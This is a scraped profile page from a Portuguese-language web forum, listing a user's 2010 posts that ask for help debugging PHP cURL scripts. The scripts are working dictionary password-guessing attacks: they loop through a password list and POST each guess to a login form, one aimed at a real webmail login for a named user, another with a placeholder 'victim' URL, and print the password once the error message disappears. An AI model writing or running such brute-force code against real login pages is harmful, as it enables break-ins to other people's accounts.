não sei como o curl interpreta, mais em última função com pass
na lista, o resutado volta zero e exibe corretamente, ou seja então
era para estar voltando $resultado = 0 no percurso de testes sim, mais enfim
acabei deixando de lado isso por agora, acabei recuperando a senha pelo suporte
embora esteja esse problema ai no script serviu-me como aprendizado
valeu!
- Fórum WMO
- → Viewing Profile: Posts: Xapolino
Community Stats
- Group Usuários
- Active Posts 18
- Profile Views 769
- Member Title Novato no fórum
- Age Age Unknown
- Birthday Birthday Unknown
-
Sexo
Não informado
0
Neutral
User Tools
Friends
Xapolino hasn't added any friends yet.
Posts I've Made
In Topic: While Não Para
16/11/2010, 02:12
In Topic: While Não Para
08/11/2010, 21:05
agora só tem um while no script, tentei fazer conforme você disse tbm e não deu certo,
até tentei mudar um pouco o paramentro aqui mais ainda continua mesma coisa
era para esse break ai tá parando veio,
estou perdendo muito tempo nisso :\
até tentei mudar um pouco o paramentro aqui mais ainda continua mesma coisa
$dic_senha = "s.txt"; $url_vitima = "http://servidor/login.php"; $nome_campo_usuario = "LOGIN"; $nome_campo_senha = "PASSWD"; $palavra_erro_autenticacao = "incorreto"; $crackeado = FALSE; //$fhu = fopen ($dic_usuario, "r" ); $fhs = fopen ($dic_senha, "r" ); $usuario = "jonathan"; while ( $senha = fgets ( $fhs, 1024 ) ) { $crack_form = curl_init(); curl_setopt ( $crack_form, CURLOPT_URL, $url_vitima ); curl_setopt ( $crack_form, CURLOPT_POST, TRUE ); curl_setopt ( $crack_form, CURLOPT_POSTFIELDS, $nome_campo_usuario."=".$usuario."&".$nome_campo_senha."=".$senha); curl_setopt ( $crack_form, CURLOPT_RETURNTRANSFER, TRUE ); $conteudo_pagina = curl_exec ( $crack_form ); $resultado = eregi ( $palavra_erro_autenticacao, $conteudo_pagina ); if ( $resultado == 0 ) { echo "$senha is the password!"; break; } } fclose($fhs);
era para esse break ai tá parando veio,
estou perdendo muito tempo nisso :\
In Topic: Login Automatico Help
07/11/2010, 10:42
até volta um erro na mesma página dizendo, [004] Usuário desconhecido ou senha incorreta
Por favor, tente novamente.
mais como vou manipular isso ?
eu já vi o comando replace que da para mudar o conteúdo, mais para manipular assim
vou pesquisar
seria mais ou menos isso ?
pq não está funcionando
Perfeito!
era o eregi que tava errado,
deu certo agora...
LeoB obrigado
[]'s
Por favor, tente novamente.
mais como vou manipular isso ?
eu já vi o comando replace que da para mudar o conteúdo, mais para manipular assim
vou pesquisar
<?php $ch = curl_init(); // informar URL e outras funções ao CURL curl_setopt($ch, CURLOPT_URL, "http://www.google.com.br"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); // acessar URL $output = curl_exec($ch); $output = strpos('Google',$output); if($output == true){ echo "Existe"; }else{ echo "Inexistente"; }
seria mais ou menos isso ?
pq não está funcionando
Perfeito!
era o eregi que tava errado,
deu certo agora...
LeoB obrigado
[]'s
In Topic: Login Automatico Help
06/11/2010, 18:46
Cara, segundo eu tentei aqui, a resposta do servidor me volta 200 mesmo com senha certa ou errada, e agora ?
<?php $curl = curl_init(); // inicia curl_setopt($curl, CURLOPT_URL,"http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi"); curl_setopt($curl, CURLOPT_POSTFIELDS, "PASSWD=teste&LOGIN=joao"); curl_setopt($curl, CURLOPT_POST, 1); curl_exec ($curl); // executa $response_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); echo "$response_code"; // exibe a resposta ?>
In Topic: Login Automatico Help
05/11/2010, 14:37
é só um teste para ver se o funcionava ali kkk,
mais consegui me logar,
nos testes quando o login é errado da até para fazer um replace na saida pois volta na mesma
pagina que esta no curl, agora quando o login é certo redireciona para a inbox ai nao pode mexer em nada
-----
estou tentando fazer desse modo para exiber uma mensagem:
mais não da certo, porque quando o login não bate a página não volta nenhum erro separado,
e agora ?
como não tenho permisão para editar,
ali no lista.txt ele só está carregando o primeiro a lista,
para carregar oque tiver dentro da lista pulano linha por linha
e juntar na string, como posso fazer ?
acho que isso irá resolver o problema pq quando entrar, o link redireciona
ai o script para de executar
mais consegui me logar,
nos testes quando o login é errado da até para fazer um replace na saida pois volta na mesma
pagina que esta no curl, agora quando o login é certo redireciona para a inbox ai nao pode mexer em nada
-----
estou tentando fazer desse modo para exiber uma mensagem:
<?php $fh = fopen("lista.txt", "r"); while(!feof($fh)) { $curl = curl_init(); $pass = fgets($fh,1024); $data = fread($fh, filesize('lista.txt')); curl_setopt($curl, CURLOPT_URL,"http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi"); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, "PASSWD=$pass&LOGIN=joao"); curl_exec ($curl); curl_close ($curl); $result = eregi("004", $data); if ( $result == 0 ) { echo "$pass is the password!"; break; fclose($fh); } } ?>
mais não da certo, porque quando o login não bate a página não volta nenhum erro separado,
e agora ?
como não tenho permisão para editar,
ali no lista.txt ele só está carregando o primeiro a lista,
para carregar oque tiver dentro da lista pulano linha por linha
e juntar na string, como posso fazer ?
acho que isso irá resolver o problema pq quando entrar, o link redireciona
ai o script para de executar
- Fórum WMO
- → Viewing Profile: Posts: Xapolino
- Privacy Policy
- Regras ·